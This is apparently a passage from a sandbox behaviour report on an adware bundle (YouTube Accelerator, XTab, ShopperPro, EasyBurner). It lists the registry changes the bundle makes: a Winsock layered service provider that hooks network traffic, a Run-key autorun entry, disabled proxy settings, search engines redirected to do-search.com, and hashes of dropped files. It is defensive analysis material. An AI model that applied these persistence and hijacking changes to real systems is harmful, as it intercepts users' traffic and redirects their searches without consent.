[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 31 A4 44 A3"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000007]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000002]
"ProtocolName" = "@%SystemRoot%\System32\wshtcpip.dll,-60101"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000007]
"ProtocolName" = "@%SystemRoot%\System32\wshqos.dll,-100"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000006]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000005]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "11 00 00 00"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000004]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000008]
"ProtocolName" = "@%SystemRoot%\System32\wshqos.dll,-101"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9]
"Next_Catalog_Entry_ID" = "1020"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000013]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000018]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000010]
"ProtocolName" = "@%SystemRoot%\System32\wshqos.dll,-103"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000013]
"ProtocolName" = "YTALSP"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000005]
"ProtocolName" = "@%SystemRoot%\System32\wship6.dll,-60101"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000009]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9]
"Num_Catalog_Entries" = "13"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000012]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000004]
"ProtocolName" = "@%SystemRoot%\System32\wship6.dll,-60100"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000009]
"ProtocolName" = "@%SystemRoot%\System32\wshqos.dll,-102"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\uqmpybcjdI]
"(Default)" = "OTKkrVelh|acP_w}Yu`fRISI`@Ntl"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000016]
"ProtocolName" = "YTALSP over [MSAFD Tcpip [TCP/IPv6]]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000021]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000010]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000015]
"ProtocolName" = "YTALSP over [MSAFD Tcpip [UDP/IP]]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000018]
"ProtocolName" = "YTALSP over [RSVP TCPv6 Service Provider]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000011]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000003]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000001]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000012]
"ProtocolName" = "VMCI sockets STREAM"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000014]
"ProtocolName" = "YTALSP over [MSAFD Tcpip [TCP/IP]]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000020]
"ProtocolName" = "YTALSP over [RSVP UDPv6 Service Provider]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000019]
"ProtocolName" = "YTALSP over [RSVP TCP Service Provider]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000014]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000002]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9]
"Serial_Access_Num" = "16"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\cgcdxuSksc]
"(Default)" = "mA_vX[@|ipql`LRKtAe^~Eu"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000015]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000016]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000020]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000019]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000017]
"PackedCatalogItem" = "43 3A 5C 50 72 6F 67 72 61 6D 20 46 69 6C 65 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000008]
"PackedCatalogItem" = "25 53 79 73 74 65 6D 52 6F 6F 74 25 5C 73 79 73"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000021]
"LspCategories" = "1"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\sehlsRMuplph]
"(Default)" = "}QJijLDlnGtvlM\DtdERLXDQtLli@u"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000003]
"ProtocolName" = "@%SystemRoot%\System32\wshtcpip.dll,-60102"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\LdsE]
"(Default)" = "mncEDgoMD^EumhBjdoZfj"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000021]
"ProtocolName" = "YTALSP over [RSVP UDP Service Provider]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000017]
"ProtocolName" = "YTALSP over [MSAFD Tcpip [UDP/IPv6]]"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000011]
"ProtocolName" = "VMCI sockets DGRAM"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\pseKcc]
"(Default)" = "L[EjhR\p|AyVzf@l`^{@vs\fDGSjJ"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000001]
"ProtocolName" = "@%SystemRoot%\System32\wshtcpip.dll,-60100"

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000006]
"ProtocolName" = "@%SystemRoot%\System32\wship6.dll,-60102"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\Uojvoqeov]
"(Default)" = "jZoVvS^vVzL\hee"

The Application deletes the following registry key(s):

[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000018]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000019]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000012]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000013]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000010]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000011]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000016]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000017]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000014]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\00000015]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\0000000F]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000012]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000013]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000010]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000011]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000016]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000017]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000014]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000015]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000018]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000019]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000021]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000020]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000001]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000003]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000002]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000005]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000004]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000007]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000006]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000009]
[HKLM\System\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries\000000000008]

The Application deletes the following value(s) in system registry:

The process 6641.tmp:2324 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process YTAHEL~1.EXE:2620 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\%Program Files% (x86)\Google\Update\1.3.24.15, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\VMwareDnD\327c54aa\python.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\VMwareDnD\327c54aa\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz993.tmp\AccDownload.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz993.tmp\nsProcess.dll, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsz993.tmp\, , \??\C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp1C39.tmp\AccDownload.dll,"

The process EasyBurner.exe:4456 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Classes\Local Settings\MuiCache\2A\52C64B7E]
"LanguageList" = "en-US, en"

[HKLM\System\CurrentControlSet\Services\Cdrom]
"AutoRun" = "0"

The process %original file name%.exe:3304 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

The process DCytaiesmt_smtyc_setup.exe:3680 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Classes\Local Settings\MuiCache\29\52C64B7E]
"LanguageList" = "en-US, en"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MaxConnectionsPerServer" = "2"
"MaxConnectionsPer1_0Server" = "2"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "A8 52 25 B3 D5 4F D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Success]
"Install" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "E6 1B 13 CC D5 4F D0 01"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Success]
"InstallStr" = "ok"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 41 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "E6 1B 13 CC D5 4F D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process cscript.exe:3476 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"AppsHat" = "C:\Users\"%CurrentUserName%"\AppData\Local\WebPlayer\AppsHat\WebPlayer.exe"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process spbiu.exe:3012 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\ShopperPro\SPBIUpd]
"Ult" = "Type: REG_QWORD, Length: 8"

[HKU\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2A\52C64B7E\@%systemroot%\system32]
"dnsapi.dll,-103" = "Domain Name System (DNS) Server Trust"
"p2pcollab.dll,-8042" = "Peer to Peer Trust"
"fveui.dll,-843" = "BitLocker Drive Encryption"
"fveui.dll,-844" = "BitLocker Data Recovery Agent"

[HKU\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2A\52C64B7E]
"LanguageList" = "en-US, en"

[HKU\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2A\52C64B7E\@%systemroot%\system32]
"qagentrt.dll,-10" = "System Health Authentication"

The process spbiu.exe:408 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\ShopperPro\SPBIUpd]
"Gcf" = "D9 91 CF EC EE 40 F4 7E 74 E4 CF FB 2F 99 75 C3"

[HKLM\SOFTWARE\ShopperPro\SPBIUpd\Users\Default]
"Ucf" = "AF 19 06 18 24 A7 78 A7 83 2B E1 77 84 81 A9 3B"

[HKLM\SOFTWARE\ShopperPro\SPBIUpd]
"Scf" = "10 BF 1E 62 99 C4 FE 53 FB E3 56 29 28 D2 33 FB"

The process wscript.exe:5004 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"
"UNCAsIntranet" = "0"

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

The process XTab_v4.0.exe:3476 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\TypeLib\{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}\1.0\HELPDIR]
"(Default)" = "%Program Files% (x86)\XTab"

[HKLM\SOFTWARE\Wow6432Node\supTab]
"ptid" = "smt"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{E733165D-CBCF-4FDA-883E-ADEF965B476C}]
"URL" = "http://do-search.com/web/?utm_source=b&utm_medium=&utm_campaign=install_ie&utm_content=ds&from=&uid=ST500DM002-1BC142_W2A27G6AXXXXW2A27G6A&ts=1420373293&type=default&q={searchTerms}"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}]
"TopResultURL" = "http://www.bing.com/search?q={searchTerms}&src=IE-TopResult&FORM=IETR02"
"URL" = "http://do-search.com/web/?utm_source=b&utm_medium=&utm_campaign=install_ie&utm_content=ds&from=&uid=ST500DM002-1BC142_W2A27G6AXXXXW2A27G6A&ts=1420373293&type=default&q={searchTerms}"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 4C 00 00 00 09 00 00 00 00 00 00 00"

[HKCR\TypeLib\{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}\1.0]
"(Default)" = "SupTabLib"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}]
"FaviconURL" = "http://www.bing.com/favicon.ico"

[HKCR\TypeLib\{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}\1.0\FLAGS]
"(Default)" = "0"

[HKCR\TypeLib\{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}\1.0\0\win32]
"(Default)" = "%Program Files% (x86)\XTab\SupTab.dll"

[HKCR\Wow6432Node\CLSID\{3593C8B9-8E18-4B4B-B7D3-CB8BEB1AA42C}]
"(Default)" = "IETabPage Class"

[HKCR\Wow6432Node\CLSID\{3593C8B9-8E18-4B4B-B7D3-CB8BEB1AA42C}\TypeLib]
"(Default)" = "{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}"

[HKCR\Wow6432Node\CLSID\{3593C8B9-8E18-4B4B-B7D3-CB8BEB1AA42C}\InprocServer32]
"(Default)" = "%Program Files% (x86)\XTab\SupTab.dll"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"URL" = "http://do-search.com/web/?utm_source=b&utm_medium=&utm_campaign=install_ie&utm_content=ds&from=&uid=ST500DM002-1BC142_W2A27G6AXXXXW2A27G6A&ts=1420373293&type=default&q={searchTerms}"

[HKCR\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}]
"(Default)" = "IIETabPage"

[HKCR\Wow6432Node\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\TypeLib]
"Version" = "1.0"

[HKCR\Wow6432Node\CLSID\{3593C8B9-8E18-4B4B-B7D3-CB8BEB1AA42C}\Version]
"(Default)" = "1.0"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}]
"FaviconPath" = "C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico"
"DisplayName" = "Bing"

[HKCR\Wow6432Node\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\TypeLib]
"(Default)" = "{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{E733165D-CBCF-4FDA-883E-ADEF965B476C}]
"FaviconURL" = "http://www.google.com/favicon.ico"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes]
"DefaultScope" = "{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}"

[HKLM\SOFTWARE\Wow6432Node\SupDp]
"dir" = "%Program Files% (x86)\XTab"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}]
"FaviconURL" = "http://do-search.com//favicon.ico"

[HKCR\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\TypeLib]
"(Default)" = "{968EDCE0-C10A-47BB-B3B6-FDF09F2A417D}"

[HKCU\Software\Microsoft\Internet Explorer\TabbedBrowsing]
"NewTabPageShow" = "0"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}]
"URL" = "http://do-search.com/web/?utm_source=b&utm_medium=&utm_campaign=install_ie&utm_content=ds&from=&uid=ST500DM002-1BC142_W2A27G6AXXXXW2A27G6A&ts=1420373293&type=default&q={searchTerms}"

[HKCR\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}]
"(Default)" = "IIETabPage"

[HKCR\Wow6432Node\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\TypeLib]
"Version" = "1.0"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}]
"FaviconPath" = "C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}.ico"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{E733165D-CBCF-4FDA-883E-ADEF965B476C}]
"TopResultURL" = "http://www.google.com/search?q={searchTerms}&sourceid=ie7&rls=com.microsoft:{language}:{referrer:source}&ie={inputEncoding?}&oe={outputEncoding?}"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"TopResultURL" = "http://www.mystartsearch.com/web/?type=ds&ts=1424743303&from=smt&uid=535559167_198339_B48A115F&q={searchTerms}"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}]
"FaviconURLFallback" = "http://www.bing.com/favicon.ico"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{E733165D-CBCF-4FDA-883E-ADEF965B476C}]
"DisplayName" = "Google"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}]
"DisplayName" = "e"

[HKCR\Wow6432Node\CLSID\{3593C8B9-8E18-4B4B-B7D3-CB8BEB1AA42C}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{E733165D-CBCF-4FDA-883E-ADEF965B476C}]
"FaviconPath" = "C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{E733165D-CBCF-4FDA-883E-ADEF965B476C}.ico"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"
"AutoDetect"

The process taskeng.exe:1448 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Handshake\{6F271426-47FB-49A5-AF2C-B5C02A772F5E}]
"data" = "4D 45 4F 57 01 00 00 00 E4 B7 BD 92 8B F2 A0 46"

The process MSIEXEC.EXE:3448 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Classes\Local Settings\MuiCache\29\52C64B7E]
"LanguageList" = "en-US, en"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer]
"GlobalAssocChangedCounter" = "35"

Dropped PE files

MD5	File path
99fcb67c569faff310800232f285b315	c:\Program Files (x86)\App Lid\8652fd7b-ad3d-42ae-954c-19d2b83040c5-4.exe
cdc310f009128dfd6117f6aa54091baa	c:\Program Files (x86)\App Lid\8652fd7b-ad3d-42ae-954c-19d2b83040c5-5.exe
9ab8c375aecd4000c4e337f2fc85df89	c:\Program Files (x86)\App Lid\Uninstall.exe
890d395cbffaaeb27f0e2b5ace54f751	c:\Program Files (x86)\App Lid\utils.exe
085cde268f6d730637a084103ae1dd96	c:\Program Files (x86)\EasyBurner\Codecs\irLame.irc
7e7af5adaac8c8124d7ab00fe467c8b6	c:\Program Files (x86)\EasyBurner\Codecs\irSndFile.irc
